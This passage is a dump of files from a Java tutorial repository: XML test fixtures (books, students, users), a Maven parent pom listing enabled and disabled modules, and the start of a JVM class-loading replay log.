    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<!-- 这是一个用XML描述的例子 -->\n<bookcase xmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\" >\n\t<book type=\"教育\">\n\t\t<b-name>XML实用培训教程</b-name>\n\t\t<author>\n\t\t\t<name>张健飞</name>\n\t\t\t<E-mail>zjf@163.com</E-mail>\n\t\t</author>\n\t\t<price>27元</price>\n\t\t<publishing-house>\n\t\t\t<p-name>科学出版社</p-name>\n\t\t\t<address>北京东皇城根北街16号</address>\n\t\t\t<zipcode>100717</zipcode>\n\t\t\t<E-mail>yanmc@bhp.com.cn</E-mail>\n\t\t</publishing-house>\n\t</book>\n\t<book type=\"科技\">\n\t\t<b-name> XML网页制作彻底研究</b-name>\n\t\t<a:author xmlns:a=\"mysefl\" >\n\t\t\t<name>陈会安</name>\n\t\t\t<E-mail>cha@163.com</E-mail>\n\t\t</a:author>\n\t\t<price>47元</price>\n\t\t<b:publishing-house  xmlns:b=\"mysefl\">\n\t\t\t<p-name>中国铁道出版社</p-name>\n\t\t\t<address>北京市宣武区右安门西街8号</address>\n\t\t\t<zipcode>100054</zipcode>\n\t\t\t<E-mail>bjb@tqbooks.com.cn</E-mail>\n\t\t</b:publishing-house>\n\t</book>\n</bookcase>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/student.xml",
    "content": "<?xml version=\"1.0\" encoding=\"gbk\"?>\n\n<Record>\n  <Head>\n    <Code>SD1101</Code>\n    <Exam></Exam>\n  </Head>\n  <Body>\n    <CourseList>\n      <CourseCode></CourseCode>\n      <Student>\n        <StudentName score=\"94\"></StudentName>\n        <StudentName score=\"77\">ľ</StudentName>\n        <StudentName score=\"21\"></StudentName>\n        <StudentName score=\"0\"></StudentName>\n        <StudentName score=\"91\"></StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode></CourseCode>\n      <Student>\n        <StudentName score=\"12\"></StudentName>\n        <StudentName score=\"83\">ľ</StudentName>\n        <StudentName score=\"16\"></StudentName>\n        <StudentName score=\"39\"></StudentName>\n        <StudentName score=\"93\"></StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode></CourseCode>\n      <Student>\n        <StudentName score=\"83\"></StudentName>\n        <StudentName score=\"73\">ľ</StudentName>\n        <StudentName score=\"48\"></StudentName>\n        <StudentName score=\"38\"></StudentName>\n        <StudentName score=\"81\"></StudentName>\n      </Student>\n    </CourseList>\n    <CourseList>\n      <CourseCode>ֻ</CourseCode>\n      <Student>\n        <StudentName score=\"38\"></StudentName>\n        <StudentName score=\"64\">ľ</StudentName>\n        <StudentName score=\"49\"></StudentName>\n        <StudentName score=\"30\"></StudentName>\n        <StudentName score=\"60\"></StudentName>\n      </Student>\n    </CourseList>\n  </Body>\n</Record>\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/student2.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<学生信息>\n\t<学生>\n\t\t<学号>001</学号>\n\t\t<姓名>张三</姓名>\n\t\t<出生日期>1995-12-12</出生日期>\n\t\t<身高>1.75</身高>\n\t</学生>\n\t<学生>\n\t\t<学号>002</学号>\n\t\t<姓名>李四</姓名>\n\t\t<出生日期>1995-12-12</出生日期>\n\t\t<身高>1.45</身高>\n\t</学生>\n\t<学生>\n\t\t<学号>003</学号>\n\t\t<姓名>王五</姓名>\n\t\t<出生日期>1995-12-12</出生日期>\n\t\t<身高>1.56</身高>\n\t</学生>\n\t<学生>\n\t\t<学号>004</学号>\n\t\t<姓名>赵六</姓名>\n\t\t<出生日期>1995-12-12</出生日期>\n\t\t<身高>1.78</身高>\n\t</学生>\n</学生信息>\n\n"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/test.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<books><!--This is a test for dom4j --><book show=\"yes\"><title>ajax in action</title></book></books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/test1.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<books><!--This is a test for dom4j --><book show=\"yes\"><title>xxx</title></book></books>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/university(2).xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<university name=\"pku\">\n    <college name=\"c1\">\n        <class name=\"class1\">\n            <student name=\"stu1\" sex='可以来个中文吗' age=\"21\" />\n            <student name=\"stu2\" sex='female' age=\"20\" />\n            <student name=\"stu3\" sex='female' age=\"20\" />\n        </class>\n        <class name=\"class2\">\n            <student name=\"stu4\" sex='male' age=\"19\" />\n            <student name=\"stu5\" sex='female' age=\"20\" />\n            <student name=\"stu6\" sex='female' age=\"21\" />\n        </class>\n    </college>\n    <college name=\"c2\">\n        <class name=\"class3\">\n            <student name=\"stu7\" sex='male' age=\"20\" />\n        </class>\n    </college>\n    <college name=\"c3\">\n    </college>\n</university>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/university.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<university name=\"pku\">\n    <college name=\"c1\">\n        <class name=\"class1\">\n            <student name=\"stu1\" sex='male' age=\"21\" />\n            <student name=\"stu2\" sex='female' age=\"20\" />\n            <student name=\"stu3\" sex='female' age=\"20\" />\n        </class>\n        <class name=\"class2\">\n            <student name=\"stu4\" sex='male' age=\"19\" />\n            <student name=\"stu5\" sex='female' age=\"20\" />\n            <student name=\"stu6\" sex='female' age=\"21\" />\n        </class>\n    </college>\n    <college name=\"c2\">\n        <class name=\"class3\">\n            <student name=\"stu7\" sex='male' age=\"20\" />\n        </class>\n    </college>\n    <college name=\"c3\">\n    </college>\n</university>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/users.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\" standalone=\"no\"?><users>\n\t<user id=\"001\">\n\t\t<name>jack</name>\n\t\t<age>26</age>\n\t\t<address>gz</address>\n\t</user>\n\t<user>\n\t\t<name>焦宁波</name>\n\t\t<age>28</age>\n\t\t<address>天河区</address>\n\t</user>\n</users>"
  },
  {
    "path": "jun_java_plugins/jun_xml/src/test/java/users_login.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<users>\n\t<user name=\"jack\" password=\"root\" />\n\t<user name=\"jnb\" password=\"jnb\" />\n</users>"
  },
  {
    "path": "jun_java_plugins/pom.xml",
    "content": "<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<project xmlns=\"http://maven.apache.org/POM/4.0.0\"\n\txmlns:xsi=\"http://www.w3.org/2001/XMLSchema-instance\"\n\txsi:schemaLocation=\"http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd\">\n\t<modelVersion>4.0.0</modelVersion>\n\t<groupId>io.github.wujun728</groupId>\n\t<artifactId>jun_java_plugins</artifactId>\n\t<version>1.0</version>\n\t<packaging>pom</packaging>\n\t\n\t<properties>\n\t\t<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>\n\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t</properties>\n\n\t<modules>\n\t\t<!-- ==================== JDK / 语言基础 ==================== -->\n\t\t<module>jun_jdk</module>\n\t\t<module>jun_javase</module>\n\t\t<module>jun_algorithm</module>\n\t\t<module>jun_designpattern</module>\n\t\t<module>jun_compiler</module>\n\t\t<!-- duplicate of jun_compiler (same purpose, less complete) -->\n\t\t<!-- <module>jun_java_compiler</module> -->\n\t\t<module>jun_online_java_complier</module>\n\t\t<module>jun_guice</module>\n\t\t<module>jun_serialization</module>\n\t\t<module>jun_gzip</module>\n\t\t<module>jun_uid</module>\n\t\t<module>jun_config_resources</module>\n\n\t\t<!-- ==================== Apache Commons / 工具库 ==================== -->\n\t\t<module>jun_apache_commons</module>\n\t\t<module>jun_guava</module>\n\t\t<module>jun_json</module>\n\t\t<module>jun_xml</module>\n\t\t<module>jun_freemarker</module>\n\n\t\t<!-- ==================== 数据库 / ORM ==================== -->\n\t\t<module>jun_jdbc</module>\n\t\t<module>jun_dbutil</module>\n\t\t<module>jun_datasource</module>\n\t\t<module>jun_hibernate</module>\n\t\t<module>jun_mybatis</module>\n<!--\t\t<module>jun_mybatis_mate</module>-->\n\t\t<module>jun_mybatisplus</module>\n\t\t<module>jun_db_document</module>\n\t\t<module>jun_mongodb</module>\n\t\t<module>jun_solr</module>\n\t\t<!-- empty shell: empty dirs + pom.xml only -->\n\t\t<!-- <module>jun_mycat</module> -->\n\t\t<!-- empty shell: docs/SQL only, no Java code -->\n\t\t<!-- <module>jun_mysql</module> -->\n\t\t<!-- empty shell: docs/SQL only, no Java code -->\n\t\t<!-- <module>jun_oracle</module> -->\n\n\t\t<!-- ==================== 缓存 / Redis ==================== -->\n\t\t<module>jun_redis</module>\n\t\t<module>jun_j2cache</module>\n\t\t<!-- redundant: only 1 test file (23 lines), fully covered by jun_j2cache -->\n\t\t<!-- <module>jun_ehcache</module> -->\n\t\t<!-- empty shell: empty dirs + pom.xml only -->\n\t\t<!-- <module>jun_memcached</module> -->\n\n\t\t<!-- ==================== HTTP / 网络 ==================== -->\n\t\t<module>jun_httpclient</module>\n\t\t<module>jun_okhttp</module>\n\t\t<module>jun_jsoup</module>\n\t\t<module>jun_crawler</module>\n\t\t<module>jun_webmagic</module>\n\n\t\t<!-- ==================== 文档 / Excel / PDF ==================== -->\n\t\t<module>jun_poi</module>\n\t\t<module>jun_poi_tl_word_export</module>\n\t\t<module>jun_pdf</module>\n\t\t<!-- redundant: functionality covered by jun_poi; easyexcel dep migrated to jun_poi -->\n\t\t<!-- <module>jun_excel</module> -->\n\n\t\t<!-- ==================== Web / Servlet / WebSocket ==================== -->\n\t\t<module>jun_webservlet</module>\n\t\t<module>jun_websocket</module>\n\t\t<module>jun_fileupload</module>\n\t\t<!-- duplicate of jun_fileupload (subset, 2 files vs 24) -->\n\t\t<!-- <module>jun_upload_jsp_servlet</module> -->\n\t\t<!-- duplicate of jun_websocket (copy-pasted POM, non-standard dir) -->\n\t\t<!-- <module>jun_webservice</module> -->\n\t\t<!-- duplicate of jun_webservlet (niche subset) -->\n\t\t<!-- <module>jun_webservlet_guice_dbutil</module> -->\n\n\t\t<!-- ==================== 消息 / 定时 / 线程 ==================== -->\n\t\t<module>jun_quartz</module>\n\t\t<module>jun_threadpool</module>\n\t\t<module>jun_email</module>\n\n\t\t<!-- ==================== 云服务 / 二维码 / 验证码 ==================== -->\n\t\t<module>jun_aliyun_sms</module>\n\t\t<module>jun_qrcode</module>\n\t\t<module>jun_easycaptcha</module>\n\t\t<module>jun_jgit</module>\n\n\t\t<!-- ==================== 空壳 / 不兼容 / 无源码 ==================== -->\n\t\t<!-- Java 17 incompatible, artifactId incorrectly set to jun_test -->\n\t\t<!-- <module>jun_minio</module> -->\n\t\t<!-- no Java source files -->\n\t\t<!-- <module>jun_jar2maven</module> -->\n\t\t<!-- empty shell: placeholder, README says TODO -->\n\t\t<!-- <module>jun_drools</module> -->\n\t\t<!-- empty shell: empty dirs + pom.xml only -->\n\t\t<!-- <module>jun_jbpm</module> -->\n\t\t<!-- empty shell: empty dirs + pom.xml only -->\n\t\t<!-- <module>jun_multicluster</module> -->\n\t\t<!-- empty shell: empty submodules -->\n\t\t<!-- <module>jun_pay</module> -->\n\t\t<!-- empty shell: empty dirs + pom.xml only -->\n\t\t<!-- <module>jun_shiro</module> -->\n\n\t</modules>\n\n\t<dependencies>\n\t\t<dependency>\n\t\t\t<groupId>junit</groupId>\n\t\t\t<artifactId>junit</artifactId>\n\t\t\t<version>4.13.2</version>\n\t\t\t<scope>test</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>javax.servlet</groupId>\n\t\t\t<artifactId>javax.servlet-api</artifactId>\n\t\t\t<version>3.1.0</version>\n\t\t\t<scope>provided</scope>\n\t\t</dependency>\n\t\t<dependency>\n\t\t\t<groupId>mysql</groupId>\n\t\t\t<artifactId>mysql-connector-java</artifactId>\n\t\t\t<version>5.1.40</version>\n\t\t</dependency>\n\t</dependencies>\n\n\n\t<profiles>\n\t\t<profile>\n\t\t\t<id>jdk-1.8</id>\n\t\t\t<activation>\n\t\t\t\t<activeByDefault>true</activeByDefault>\n\t\t\t\t<jdk>1.8</jdk>\n\t\t\t</activation>\n\t\t\t<properties>\n\t\t\t\t<maven.compiler.source>1.8</maven.compiler.source>\n\t\t\t\t<maven.compiler.target>1.8</maven.compiler.target>\n\t\t\t\t<maven.compiler.compilerVersion>1.8</maven.compiler.compilerVersion>\n\t\t\t</properties>\n\t\t</profile>\n\t</profiles>\n\n\n\t<build>\n\t\t<plugins>\n\t\t\t<plugin>\n\t\t\t\t<groupId>org.apache.maven.plugins</groupId>\n\t\t\t\t<artifactId>maven-compiler-plugin</artifactId>\n\t\t\t\t<version>3.8.0</version>\n\t\t\t\t<configuration>\n\t\t\t\t\t<source>1.8</source>\n\t\t\t\t\t<target>1.8</target>\n\t\t\t\t</configuration>\n\t\t\t</plugin>\n\t\t</plugins>\n\t</build>\n</project>"
  },
  {
    "path": "jun_java_plugins/replay_pid1788.log",
    "content": "JvmtiExport can_access_local_variables 0\nJvmtiExport can_hotswap_or_post_breakpoint 0\nJvmtiExport can_post_on_exceptions 0\n# 678 ciObject found\ninstanceKlass org/apache/maven/artifact/repository/metadata/AbstractRepositoryMetadata\ninstanceKlass org/apache/maven/repository/legacy/metadata/AbstractArtifactMetadata\ninstanceKlass org/apache/maven/artifact/installer/DefaultArtifactInstaller$$FastClassByGuice$$626278875\ninstanceKlass sun/security/util/MessageDigestSpi2\ninstanceKlass java/security/MessageDigestSpi\ninstanceKlass org/apache/maven/plugin/install/InstallMojo$$FastClassByGuice$$625528450\ninstanceKlass org/apache/maven/plugin/install/InstallRequest\ninstanceKlass org/apache/maven/plugin/install/DualDigester\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$LibraryUnpackHandler\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$CrcAndSize\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils$UnparseableExtraField\ninstanceKlass org/springframework/boot/loader/tools/Repackager$RenamingEntryTransformer\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$InputStreamEntryWriter\ninstanceKlass org/springframework/boot/loader/tools/CustomLoaderLayout\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$EntryMetaData\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipUtil\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$CurrentEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ResourceAlignmentExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/PKWareExtraHeader\ninstanceKlass org/apache/commons/compress/archivers/zip/X000A_NTFS\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEightByteInteger\ninstanceKlass org/apache/commons/compress/archivers/zip/Zip64ExtendedInformationExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/AbstractUnicodeExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/X7875_NewUnix\ninstanceKlass org/apache/commons/compress/archivers/zip/X5455_ExtendedTimestamp\ninstanceKlass org/apache/commons/compress/archivers/zip/AsiExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/UnixStat\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/UnparseableExtraFieldData\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipShort\ninstanceKlass org/apache/commons/compress/archivers/zip/JarMarker\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$$Lambda$527\ninstanceKlass org/apache/commons/compress/archivers/zip/GeneralPurposeBit\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldParsingBehavior\ninstanceKlass org/apache/commons/compress/archivers/zip/UnparseableExtraFieldBehavior\ninstanceKlass org/springframework/util/StringUtils\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder$MainClass\ninstanceKlass org/springframework/asm/Context\ninstanceKlass org/springframework/asm/Attribute\ninstanceKlass org/springframework/asm/ClassReader\ninstanceKlass sun/security/util/SignatureFileVerifier\ninstanceKlass sun/security/util/ManifestEntryVerifier\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder$ClassEntryComparator\ninstanceKlass java/util/zip/ZipFile$ZipEntryIterator\ninstanceKlass java/util/jar/JarFile$$Lambda$526\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder$SingleMainClassCallback\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder$$Lambda$525\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder$$Lambda$524\ninstanceKlass org/springframework/asm/Type\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder$MainClassCallback\ninstanceKlass org/springframework/asm/ClassVisitor\ninstanceKlass org/springframework/boot/loader/tools/MainClassFinder\ninstanceKlass org/apache/commons/compress/archivers/zip/StreamCompressor\ninstanceKlass org/apache/commons/compress/archivers/zip/NioZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/CharsetAccessor\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncoding\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEncodingHelper\ninstanceKlass org/apache/commons/compress/utils/ByteUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipLong\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipExtraField\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$NeverUnpackHandler\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$EntryWriter\ninstanceKlass org/springframework/boot/loader/tools/JarWriter\ninstanceKlass org/springframework/boot/loader/tools/Repackager$WritableLibraries$$Lambda$523\ninstanceKlass org/springframework/boot/loader/tools/LibraryCallback\ninstanceKlass org/springframework/boot/loader/tools/Library\ninstanceKlass org/springframework/boot/loader/tools/Repackager$WritableLibraries\ninstanceKlass org/springframework/boot/loader/tools/Layouts$Jar\ninstanceKlass org/springframework/boot/loader/tools/RepackagingLayout\ninstanceKlass org/springframework/boot/loader/tools/Layout\ninstanceKlass org/springframework/boot/loader/tools/Layouts\ninstanceKlass org/springframework/boot/loader/tools/DefaultLayoutFactory\ninstanceKlass org/springframework/core/OrderComparator\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$Entry\ninstanceKlass java/lang/invoke/LambdaForm$MH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$Segment$$Lambda$522\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$Entries\ninstanceKlass java/lang/invoke/LambdaForm$DMH\ninstanceKlass org/springframework/util/LinkedMultiValueMap\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$Reference\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$ReferenceManager\ninstanceKlass org/springframework/util/Assert\ninstanceKlass org/springframework/util/ConcurrentReferenceHashMap$Task\ninstanceKlass org/apache/commons/logging/LogAdapter$Slf4jLog\ninstanceKlass org/apache/commons/logging/Log\ninstanceKlass org/apache/commons/logging/LogAdapter$Slf4jAdapter\ninstanceKlass org/apache/commons/logging/LogAdapter$1\ninstanceKlass org/slf4j/spi/LocationAwareLogger\ninstanceKlass org/apache/commons/logging/LogAdapter\ninstanceKlass org/apache/commons/logging/LogFactory\ninstanceKlass org/springframework/core/io/Resource\ninstanceKlass org/springframework/core/io/InputStreamSource\ninstanceKlass org/springframework/util/MultiValueMap\ninstanceKlass org/springframework/core/io/support/SpringFactoriesLoader\ninstanceKlass org/springframework/boot/loader/tools/LibraryScope$4\ninstanceKlass org/springframework/boot/loader/tools/LibraryScope$3\ninstanceKlass org/springframework/boot/loader/tools/LibraryScope$2\ninstanceKlass org/springframework/boot/loader/tools/LibraryScope$1\ninstanceKlass org/springframework/boot/loader/tools/LibraryScope\ninstanceKlass org/springframework/boot/maven/ArtifactsLibraries\ninstanceKlass org/apache/maven/shared/utils/StringUtils\ninstanceKlass org/apache/maven/shared/artifact/filter/collection/AbstractArtifactsFilter\ninstanceKlass org/springframework/boot/maven/RepackageMojo$LoggingMainClassTimeoutWarningListener\ninstanceKlass org/springframework/boot/loader/tools/LoaderClassesWriter\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$EntryTransformer\ninstanceKlass org/springframework/boot/loader/tools/JarWriter$UnpackHandler\ninstanceKlass org/springframework/boot/maven/FilterableDependency\ninstanceKlass org/springframework/boot/maven/RepackageMojo$$FastClassByGuice$$624686986\ninstanceKlass org/apache/maven/shared/transfer/repository/internal/MavenRepositoryManager\ninstanceKlass org/apache/maven/shared/transfer/repository/internal/DefaultRepositoryManager\ninstanceKlass org/apache/maven/shared/transfer/project/deploy/ProjectDeployerRequest\ninstanceKlass org/apache/maven/shared/transfer/project/deploy/internal/DualDigester\ninstanceKlass org/apache/maven/shared/transfer/project/deploy/internal/DefaultProjectDeployer\ninstanceKlass org/apache/maven/shared/transfer/artifact/install/internal/MavenArtifactInstaller\ninstanceKlass org/apache/maven/shared/transfer/artifact/install/internal/DefaultArtifactInstaller\ninstanceKlass org/apache/maven/shared/transfer/project/install/ProjectInstallerRequest\ninstanceKlass org/apache/maven/shared/transfer/project/install/internal/DefaultProjectInstaller\ninstanceKlass org/apache/maven/plugins/shade/resource/ResourceTransformer\ninstanceKlass org/apache/maven/plugins/shade/ShadeRequest\ninstanceKlass org/objectweb/asm/ClassVisitor\ninstanceKlass org/objectweb/asm/commons/Remapper\ninstanceKlass com/google/common/collect/Multimap\ninstanceKlass org/sonatype/plexus/components/cipher/PBECipher\ninstanceKlass org/codehaus/plexus/archiver/tar/TarArchiver$TarOptions\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/model/SettingsSecurity\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/AllFilesFileSelector\ninstanceKlass org/apache/maven/shared/artifact/filter/resolve/TransformableFilter\ninstanceKlass org/apache/maven/shared/transfer/dependencies/resolve/internal/MavenDependencyResolver\ninstanceKlass org/apache/maven/shared/transfer/dependencies/resolve/internal/DefaultDependencyResolver\ninstanceKlass org/apache/maven/shared/transfer/dependencies/DependableCoordinate\ninstanceKlass org/apache/maven/shared/transfer/dependencies/collect/CollectorResult\ninstanceKlass org/apache/maven/shared/transfer/dependencies/collect/internal/MavenDependencyCollector\ninstanceKlass org/apache/maven/shared/transfer/dependencies/collect/internal/DefaultDependencyCollector\ninstanceKlass org/codehaus/plexus/archiver/filters/JarSecurityFileSelector\ninstanceKlass org/codehaus/plexus/archiver/manager/DefaultArchiverManager\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipFile\ninstanceKlass org/apache/commons/compress/compressors/bzip2/BZip2Constants\ninstanceKlass org/apache/commons/compress/utils/InputStreamStatistics\ninstanceKlass org/apache/maven/shared/transfer/artifact/resolve/ArtifactResult\ninstanceKlass org/apache/maven/shared/transfer/artifact/ArtifactCoordinate\ninstanceKlass org/apache/maven/shared/transfer/artifact/resolve/internal/MavenArtifactResolver\ninstanceKlass org/apache/maven/shared/transfer/artifact/resolve/internal/DefaultArtifactResolver\ninstanceKlass org/apache/maven/shared/dependency/graph/DependencyNode\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoCompressedFileResourceCollection\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$UnicodeExtraFieldPolicy\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator\ninstanceKlass org/codehaus/plexus/archiver/zip/AddedDirs\ninstanceKlass org/apache/commons/compress/parallel/InputStreamSupplier\ninstanceKlass org/apache/commons/compress/archivers/EntryStreamOffsets\ninstanceKlass org/apache/commons/compress/archivers/ArchiveEntry\ninstanceKlass org/codehaus/plexus/archiver/FileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchivedFileSet\ninstanceKlass org/codehaus/plexus/archiver/BaseFileSet\ninstanceKlass org/codehaus/plexus/archiver/ArchiveEntry\ninstanceKlass org/codehaus/plexus/archiver/AbstractArchiver$AddedResourceCollection\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFinalizer\ninstanceKlass org/codehaus/plexus/archiver/ResourceIterator\ninstanceKlass org/codehaus/plexus/archiver/FinalizerEnabled\ninstanceKlass org/codehaus/plexus/components/io/attributes/PlexusIoResourceAttributes\ninstanceKlass org/apache/maven/shared/transfer/artifact/deploy/internal/MavenArtifactDeployer\ninstanceKlass org/apache/maven/shared/transfer/artifact/deploy/internal/DefaultArtifactDeployer\ninstanceKlass org/codehaus/plexus/archiver/tar/TarFile\ninstanceKlass org/codehaus/plexus/archiver/ArchiveFile\ninstanceKlass org/codehaus/plexus/util/Scanner\ninstanceKlass org/codehaus/plexus/util/MatchPatterns\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/IncludeExcludeFileSelector\ninstanceKlass org/codehaus/plexus/components/io/filemappers/AbstractFileMapper\ninstanceKlass org/codehaus/plexus/components/io/resources/Stream\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResource\ninstanceKlass org/codehaus/plexus/components/io/functions/ContentSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/SizeSupplier\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileInfo\ninstanceKlass org/codehaus/plexus/components/io/functions/NameSupplier\ninstanceKlass org/codehaus/plexus/components/io/functions/InputStreamTransformer\ninstanceKlass org/codehaus/plexus/components/io/resources/AbstractPlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoArchivedResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/resources/EncodingSupported\ninstanceKlass org/springframework/boot/loader/tools/Repackager\ninstanceKlass org/springframework/boot/loader/tools/LayoutFactory\ninstanceKlass org/springframework/boot/loader/tools/LaunchScript\ninstanceKlass org/springframework/boot/loader/tools/Repackager$MainClassTimeoutWarningListener\ninstanceKlass org/springframework/boot/loader/tools/Libraries\ninstanceKlass org/springframework/boot/maven/SpringApplicationAdminClient\ninstanceKlass org/springframework/boot/loader/tools/RunProcess\ninstanceKlass javax/management/MBeanServerConnection\ninstanceKlass org/springframework/boot/maven/RunArguments\ninstanceKlass org/springframework/boot/maven/EnvVariables\ninstanceKlass org/apache/maven/shared/artifact/filter/collection/FilterArtifacts\ninstanceKlass org/apache/maven/shared/artifact/filter/collection/ArtifactsFilter\ninstanceKlass org/apache/maven/shared/dependency/graph/DependencyGraphBuilder\ninstanceKlass org/apache/maven/shared/transfer/repository/RepositoryManager\ninstanceKlass org/apache/maven/shared/transfer/project/install/ProjectInstaller\ninstanceKlass org/apache/maven/shared/transfer/project/deploy/ProjectDeployer\ninstanceKlass org/apache/maven/shared/transfer/dependencies/resolve/DependencyResolver\ninstanceKlass org/apache/maven/shared/transfer/dependencies/collect/DependencyCollector\ninstanceKlass org/apache/maven/shared/transfer/artifact/resolve/ArtifactResolver\ninstanceKlass org/apache/maven/shared/transfer/artifact/install/ArtifactInstaller\ninstanceKlass org/apache/maven/shared/transfer/artifact/deploy/ArtifactDeployer\ninstanceKlass org/apache/maven/plugins/shade/Shader\ninstanceKlass org/sonatype/plexus/build/incremental/BuildContext\ninstanceKlass org/codehaus/plexus/components/io/filemappers/FileMapper\ninstanceKlass org/codehaus/plexus/components/io/resources/PlexusIoResourceCollection\ninstanceKlass org/codehaus/plexus/components/io/fileselectors/FileSelector\ninstanceKlass org/codehaus/plexus/archiver/manager/ArchiverManager\ninstanceKlass org/codehaus/plexus/archiver/UnArchiver\ninstanceKlass org/codehaus/plexus/archiver/Archiver\ninstanceKlass org/sonatype/plexus/components/cipher/PlexusCipher\ninstanceKlass org/sonatype/plexus/components/sec/dispatcher/SecDispatcher\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$EntryMetaData\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipUtil\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveOutputStream$CurrentEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ResourceAlignmentExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/PKWareExtraHeader\ninstanceKlass org/apache/commons/compress/archivers/zip/X000A_NTFS\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipEightByteInteger\ninstanceKlass org/apache/commons/compress/archivers/zip/Zip64ExtendedInformationExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/AbstractUnicodeExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/JarMarker\ninstanceKlass org/apache/commons/compress/archivers/zip/X7875_NewUnix\ninstanceKlass org/apache/commons/compress/archivers/zip/X5455_ExtendedTimestamp\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipShort\ninstanceKlass org/apache/commons/compress/archivers/zip/AsiExtraField\ninstanceKlass org/apache/commons/compress/archivers/zip/UnixStat\ninstanceKlass org/apache/commons/compress/archivers/zip/ExtraFieldUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/ParallelScatterZipCreator$3\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$2\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$1\ninstanceKlass org/codehaus/plexus/archiver/util/ResourceUtils\ninstanceKlass org/apache/commons/compress/archivers/zip/ScatterZipOutputStream$CompressedEntry\ninstanceKlass org/apache/commons/compress/archivers/zip/ZipArchiveEntryRequest\ninstanceKlass org/codehaus/plexus/archiver/zip/ConcurrentJarCreator$1\ninstanceKlass org/codehaus/plexus/archiver/zip/AbstractZipArchiver$2\ninstanceKlass 